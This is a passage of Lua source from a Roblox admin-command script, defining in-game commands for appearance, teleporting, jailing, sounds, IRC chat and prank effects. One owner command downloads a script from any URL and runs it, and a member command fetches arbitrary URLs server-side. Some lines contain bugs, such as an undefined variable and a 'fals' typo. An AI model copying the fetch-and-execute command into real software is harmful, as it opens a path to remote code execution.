	[{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5492
		local List = {}
5493
		for Color,_ in pairs(Colors) do
5494
			table.insert(List, Color.." "..Color)
5495
		end
5496
		GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5497
	end};
5498
	
5499
	[{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5500
		local Transparency = tonumber(Arguments[1])
5501
		if Transparency then
5502
			if Transparency > 90 then Transparency = 90 end
5503
			if Transparency < 10 then Transparency = 10 end
5504
			Settings.TransparencyScheme = Transparency/100
5505
5506
			GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5507
		else
5508
			GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5509
		end
5510
	end};
5511
	
5512
	[{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5513
		if Fonts[Arguments[1]] then
5514
			Settings.Font = Arguments[1]
5515
			GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5516
		end
5517
	end};
5518
	
5519
	[{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5520
		Settings.Fun = not Settings.Fun
5521
		GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5522
	end};
5523
	
5524
	[{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5525
		Settings.DisableAbuse = not Settings.DisableAbuse
5526
		GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5527
	end};
5528
	
5529
	[{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5530
		local List = {}
5531
		for Font,_ in pairs(Fonts) do
5532
			if Font == Settings.Font then
5533
				table.insert(List, Font.." "..Font.."  (CURRENT FONT)")
5534
			else
5535
				table.insert(List, Font.." "..Font)
5536
			end
5537
		end
5538
		GUI:ListGui(Speaker, "Font list", List, 44453197)
5539
	end};
5540
	
5541
	[{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5542
		local SoundID = tonumber(Arguments[1])
5543
		if SoundID then
5544
			Settings.ExecuteNotificationSound = SoundID
5545
5546
			GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5547
		else
5548
			GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5549
		end
5550
	end};
5551
	
5552
	[{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5553
		Settings.ExecuteNotificationSound = 0
5554
	end};
5555
	
5556
	[{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5557
		local Players = STRING:Scan(Arguments[1], Speaker)
5558
		for _,Player in pairs(Players) do
5559
			CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5560
		end
5561
	end};
5562
	
5563
	[{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5564
		local Players = STRING:Scan(Arguments[1], Speaker)
5565
		for _,Player in pairs(Players) do
5566
			CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5567
		end
5568
	end};
5569
	
5570
	[{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5571
		local Players = STRING:Scan(Arguments[1], Speaker)
5572
		for _,Player in pairs(Players) do
5573
			coroutine.wrap(function()
5574
				CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5575
				wait(1)
5576
				GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5577
			end)()
5578
		end
5579
	end, Hidden = true};
5580
	
5581
	[{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5582
		local Players = STRING:Scan(Arguments[1], Speaker)
5583
		for _,Player in pairs(Players) do
5584
			CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5585
		end
5586
	end};
5587
	
5588
	[{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5589
		local Players = STRING:Scan(Arguments[1], Speaker)
5590
		for _,Player in pairs(Players) do
5591
			CORE:ChangeName(Player, Arguments[2])
5592
		end
5593
	end};
5594
	
5595
	[{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5596
		local Players = STRING:Scan(Arguments[1], Speaker)
5597
		for _,Player in pairs(Players) do
5598
			if Player.Character then
5599
				local Head = Player.Character:FindFirstChild("Label")
5600
				if Head then Head:Destroy() end
5601
				local Head = Player.Character:FindFirstChild("Head")
5602
				if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5603
			end
5604
		end
5605
	end};
5606
	
5607
	[{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5608
		local Players = STRING:Scan(Arguments[1], Speaker)
5609
		for _,Player in pairs(Players) do
5610
			CORE:ChangeCharacter(Player, 11397, false, Speaker)
5611
		end
5612
	end};
5613
	
5614
	[{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5615
		local Players = STRING:Scan(Arguments[1], Speaker)
5616
		for _,Player in pairs(Players) do
5617
			local _,RankNum = RANK:GetRank(Player)
5618
			if RankNum <= RANK:ConvertRank(Rank) then
5619
				Server.TS:Teleport(Arguments[2], Player)
5620
			end
5621
		end
5622
	end};
5623
	
5624
	[{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5625
		local Players = STRING:Scan(Arguments[1], Speaker)
5626
		local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5627
		if Suc then
5628
			for _,Player in pairs(Players) do
5629
				Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5630
			end
5631
		else
5632
			GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5633
		end
5634
	end};
5635
	
5636
	[{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5637
		local Players = STRING:Scan(Arguments[1], Speaker)
5638
		MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5639
			local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5640
			if Suc then
5641
				for _,Player in pairs(Players) do
5642
					Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5643
				end
5644
			else
5645
				GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5646
			end
5647
		end)
5648
	end};
5649
	
5650
	[{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5651
		local Players = STRING:Scan(Arguments[1], Speaker)
5652
		for _,Player in pairs(Players) do
5653
			local _,RankNum = RANK:GetRank(Player)
5654
			if RankNum < RANK:ConvertRank(Rank) then
5655
				Server.TS:Teleport(155307015, Player)
5656
			end
5657
		end
5658
	end};
5659
	
5660
	[{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5661
		local Players = STRING:Scan(Arguments[1], Speaker)
5662
		for _,Player in pairs(Players) do
5663
			local _,RankNum = RANK:GetRank(Player)
5664
			if RankNum < RANK:ConvertRank(Rank) then
5665
				Server.TS:Teleport(347911447, Player)
5666
			end
5667
		end
5668
	end};
5669
	
5670
	[{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5671
		local Players = STRING:Scan(Arguments[1], Speaker)
5672
		for _,Player in pairs(Players) do
5673
			CORE:GenerateShield(Player)
5674
		end
5675
	end};
5676
	
5677
	[{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5678
		local Players = STRING:Scan(Arguments[1], Speaker)
5679
		for _,Player in pairs(Players) do
5680
			if Player.Character then
5681
				local Shield = Player.Character:FindFirstChild("Shield")
5682
				if Shield then Shield:Destroy() end
5683
			end
5684
		end
5685
	end};
5686
	
5687
	[{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5688
		local Num = tonumber(Arguments[1])
5689
		if Num and Num ~= 0 then
5690
			local Random = math.random(1,math.abs(Num))
5691
			if Random == math.random(1,math.abs(Num)) then
5692
				GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5693
			else
5694
				GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5695
			end
5696
		else
5697
			GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5698
		end
5699
	end};
5700
	
5701
	[{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5702
		IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5703
		IRC:AddChat(Speaker.Name, Arguments[1])
5704
	end};
5705
	
5706
	--[[
5707
	[{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5708
		local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5709
		if Res then
5710
			GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5711
		end
5712
	end, Http = true};
5713
	
5714
	[{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5715
		local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5716
		if Res then
5717
			GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5718
		end
5719
	end}, Http = true;
5720
	]]
5721
	
5722
	[{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5723
		IRC:Quit("Reconnecting")
5724
		IRC:ConnectToServer(Settings.IRCServer)
5725
	end};
5726
	
5727
	[{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5728
		local Players = STRING:Scan(Arguments[1], Speaker)
5729
		for _,Player in pairs(Players) do
5730
			local PreAdd = {}
5731
			for _,Data in pairs(IRC.Chats) do
5732
				local Error = nil
5733
				if Rank == "Owner" then Error = Data[3] end
5734
				table.insert(PreAdd, {Data[1], Data[2], Error})
5735
			end
5736
			local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5737
			IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5738
				if Rank ~= "Owner" then Error = nil end
5739
				AddMessage:Invoke(UserName, Message, Error)
5740
			end)
5741
			SendPressed.Event:connect(function(Text)
5742
				IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5743
				IRC:AddChat(Player.Name, Text)
5744
			end)
5745
		end
5746
	end};
5747
	
5748
	[{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5749
		local Players = STRING:Scan(Arguments[1], Speaker)
5750
		for _,Player in pairs(Players) do
5751
			local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5752
				if Type == "Leave" then
5753
					PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5754
				elseif Type == "Join" then
5755
					PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5756
				end
5757
			end)
5758
			PriChat.Chatted.Event:connect(function(UserName, Message)
5759
				AddMessage:Invoke(UserName, Message)
5760
			end)
5761
			SendPressed.Event:connect(function(Text)
5762
				PriChat.Chatted:Fire(Player.Name, Text)
5763
				table.insert(PriChat.Chats, {Player.Name, Text})
5764
			end)
5765
		end
5766
	end};
5767
	
5768
	[{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5769
		ExecuteSafe(Arguments[1], Speaker)
5770
	end};
5771
	
5772
	[{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5773
		local Script = REMOTE:GetURL(Arguments[1], Player)
5774
		if Script then
5775
			ExecuteSafe(Script, Speaker)
5776
		end
5777
	end, Http = true};
5778
	
5779
	[{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5780
		local Time = tick()
5781
		local Res = REMOTE:GetURL(Arguments[1], Player)
5782
		if Res then
5783
			GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5784
		end
5785
	end, Http = true};
5786
	
5787
	[{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5788
		CORE:RemoveAdmin(Speaker)
5789
	end};
5790
	
5791
	[{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5792
		for _,Player in pairs(Server.Players:GetPlayers()) do
5793
			GUI:SendHint(Player, Arguments[1], nil, Speaker)
5794
		end
5795
	end};
5796
	
5797
	[{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5798
		local Players = STRING:Scan(Arguments[1], Speaker)
5799
		local Debt = nil
5800
		for _,Player in pairs(Players) do
5801
			if not Debt then
5802
				Debt = GUI:ShowDebtStats(Player)
5803
			else
5804
				GUI:ShowDebtStats(Player, Debt)
5805
			end
5806
		end
5807
	end, Http = true};
5808
	
5809
	[{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5810
		local Players = STRING:Scan(Arguments[1], Speaker)
5811
		for _,Player in pairs(Players) do
5812
			GUI:CreateHUD(Player)
5813
		end
5814
	end};
5815
	
5816
	[{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5817
		local Players = STRING:Scan(Arguments[1], Speaker)
5818
		for _,Player in pairs(Players) do
5819
			if Player:FindFirstChild("PlayerGui") then
5820
				local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5821
				if HUD then HUD:Destroy() end
5822
			end
5823
		end
5824
	end};
5825
	
5826
	[{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5827
		local Players = STRING:Scan(Arguments[1], Speaker)
5828
		GUI:Vote(Speaker, Players, Arguments[2], 30)
5829
	end};
5830
	
5831
	[{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5832
		local Players = STRING:Scan(Arguments[1], Speaker)
5833
		for _,Player in pairs(Players) do
5834
			CORE:ExecuteResource("Bomb", Player.Character)
5835
		end
5836
	end};
5837
	
5838
	[{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5839
		local Players = STRING:Scan(Arguments[1], Speaker)
5840
		for _,Player in pairs(Players) do
5841
			CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5842
			CORE:RestoreCamera(Player)
5843
		end
5844
	end};
5845
	
5846
	[{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5847
		CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5848
		CORE:RestoreCamera(Speaker)
5849
	end};
5850
	
5851
	[{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5852
		local Players1 = STRING:Scan(Arguments[1], Speaker)
5853
		local Players2 = STRING:Scan(Arguments[2], Speaker)
5854
		for _,Player1 in pairs(Players1) do
5855
			if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5856
				for _,Player2 in pairs(Players2) do
5857
					if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5858
						Player1.Character:MoveTo(Player2.Character.Torso.Position)
5859
					end
5860
				end
5861
			end
5862
		end
5863
	end};
5864
	
5865
	[{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5866
		local Players = STRING:Scan(Arguments[1], Speaker)
5867
		for _,Player in pairs(Players) do
5868
			Player:LoadCharacter()
5869
		end
5870
	end};
5871
	
5872
	[{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5873
		local Players = STRING:Scan(Arguments[1], Speaker)
5874
		for _,Player in pairs(Players) do
5875
			CORE:RestoreCamera(Player)
5876
		end
5877
	end};
5878
	
5879
	[{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5880
		local Players = STRING:Scan(Arguments[1], Speaker)
5881
		for _,Player in pairs(Players) do
5882
			CORE:Jail(Player)
5883
		end
5884
	end};
5885
	
5886
	[{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5887
		local Players = STRING:Scan(Arguments[1], Speaker)
5888
		for _,Player in pairs(Players) do
5889
			CORE:UnJail(Player)
5890
		end
5891
	end};
5892
	
5893
	[{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5894
		SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5895
	end};
5896
	
5897
	[{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5898
		SOUND:StopSpeaking()
5899
	end};
5900
	
5901
	[{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5902
		local Players = STRING:Scan(Arguments[1], Speaker)
5903
		local Compile = {}
5904
		for Num,Player in pairs(Players) do
5905
			local PlayerRank = RANK:GetRank(Player)
5906
			local PlayerInfo = ClientInfo[Player.Name]
5907
			table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5908
			table.insert(Compile, "User ID: "..Player.UserId)
5909
			table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5910
			table.insert(Compile, "Rank: "..PlayerRank)
5911
			
5912
			if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5913
			if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5914
			if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5915
			if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5916
			if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5917
			if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5918
			if PlayerInfo.Benchmark then
5919
				table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5920
			end
5921
			if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5922
		end
5923
		GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5924
	end};
5925
	
5926
	[{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5927
		if tonumber(Arguments[2]) then
5928
			local Players = STRING:Scan(Arguments[1], Speaker)
5929
			for _,Player in pairs(Players) do
5930
				coroutine.wrap(function()
5931
					if Player.Character then
5932
						table.insert(LoopKills, Player.Name)
5933
						local Loop = nil
5934
						local PrevChar = nil
5935
						
5936
						for i = 1,tonumber(Arguments[2]) do
5937
							local Char = Player.Character
5938
							if PrevChar and PrevChar ~= Char then
5939
								PrevChar:Destroy()
5940
							end
5941
							PrevChar = Char
5942
							local CanDie = true
5943
							for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5944
							if CanDie == false then
5945
								break
5946
							end
5947
							ypcall(function() Char.Parent = Server.Lighting end)
5948
							wait(0.1)
5949
							ypcall(function() Char.Parent = Server.Workspace end)
5950
							wait(0.1)
5951
						end
5952
					end
5953
				end)()
5954
			end
5955
		else
5956
			GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5957
		end
5958
	end};
5959
	
5960
	[{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5961
		local Players = STRING:Scan(Arguments[1], Speaker)
5962
		for _,Player in pairs(Players) do
5963
			for Num,Name in pairs(LoopKills) do
5964
				if Player.Name == Name then
5965
					table.remove(LoopKills, Num)
5966
				end
5967
			end
5968
		end
5969
	end};
5970
	
5971
	[{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5972
		SOUND:PlayGlobalSound(Arguments[1])
5973
	end};
5974
	
5975
	[{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5976
		SOUND:StopGlobalSound()
5977
		SOUND:ClearInfo()
5978
	end};
5979
	
5980
	[{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5981
		local Pitch = tonumber(Arguments[1])
5982
		if not Pitch then Pitch = 1 end
5983
		if Sound then
5984
			Sound.Pitch = Pitch
5985
		end
5986
	end};
5987
	
5988
	[{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5989
		local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5990
		local Items = MARKET:SearchItem(9, Arguments[1])
5991
		if Items then
5992
			if #Items ~= 0 then
5993
				local List,Correlate = {},{}
5994
				for Num,Info in pairs(Items) do
5995
					local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5996
					table.insert(List, Display)
5997
					Correlate[Display] = Info.AssetId
5998
				end
5999
				CloseGui:Invoke()
6000
				
6001
				local CanClick = true
6002
				if Rank == "Member" then CanClick = false end
6003
				local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
6004
				Clicked.Event:connect(function(ClickName)
6005
					local OldSoundId = nil
6006
					SOUND:StopGlobalSound()
6007
					if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6008
						SOUND:PlayGlobalSound(Correlate[ClickName])
6009
					end
6010
				end)
6011
			else
6012
				CloseGui:Invoke()
6013
				GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
6014
			end
6015
		else
6016
			CloseGui:Invoke()
6017
			GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
6018
		end
6019
	end, Http = true};
6020
	
6021
	[{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
6022
		local Players = STRING:Scan(Arguments[1], Speaker)
6023
		for _,Player in pairs(Players) do
6024
			if Player.Character then
6025
				CORE:ExecuteResource("Gun", Player.Character)
6026
			end
6027
		end
6028
	end};
6029
	
6030
	[{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
6031
		local Players = STRING:Scan(Arguments[1], Speaker)
6032
		for _,Player in pairs(Players) do
6033
			if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
6034
				local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true  Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
6035
				Player.Character.Humanoid.WalkSpeed = 0
6036
				Player.Character.Torso.Anchored = true
6037
				coroutine.wrap(function()
6038
					local OldCFrame = Player.Character.Torso.CFrame
6039
					for i = 0,8,0.1 do
6040
						Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
6041
						wait()
6042
					end
6043
					Player.Character.Torso.Anchored = false
6044
					Player.Character:BreakJoints()
6045
					CORE:InvisiblePlayer(Player)
6046
				end)()
6047
			end
6048
		end
6049
	end};
6050
	
6051
	[{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6052
		local Players = STRING:Scan(Arguments[1], Speaker)
6053
		for _,Player in pairs(Players) do
6054
			CORE:AnchorPlayer(Player)
6055
		end
6056
	end};
6057
	
6058
	[{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6059
		local Players = STRING:Scan(Arguments[1], Speaker)
6060
		for _,Player in pairs(Players) do
6061
			CORE:UnanchorPlayer(Player)
6062
		end
6063
	end};
6064
	
6065
	[{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6066
		local Players = STRING:Scan(Arguments[1], Speaker)
6067
		for _,Player in pairs(Players) do
6068
			CORE:InvisiblePlayer(Player)
6069
		end
6070
	end};
6071
	
6072
	[{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6073
		local Players = STRING:Scan(Arguments[1], Speaker)
6074
		for _,Player in pairs(Players) do
6075
			CORE:VisiblePlayer(Player)
6076
		end
6077
	end};
6078
	
6079
	[{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6080
		local Players = STRING:Scan(Arguments[1], Speaker)
6081
		for _,Player in pairs(Players) do
6082
			if Player.Character and Player.Character:FindFirstChild("Torso") then
6083
				local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6084
				local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6085
				local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6086
				local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6087
				local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6088
				local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6089
				Fly:Play()
6090
				local Touched = false
6091
				coroutine.wrap(function()
6092
					repeat wait(0.1)
6093
						Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6094
					until not Ast or Ast.Parent == nil or Touched == true
6095
				end)()
6096
				Ast.Touched:connect(function(Part)
6097
					if Touched == false then
6098
						Touched = true
6099
						Part:BreakJoints()
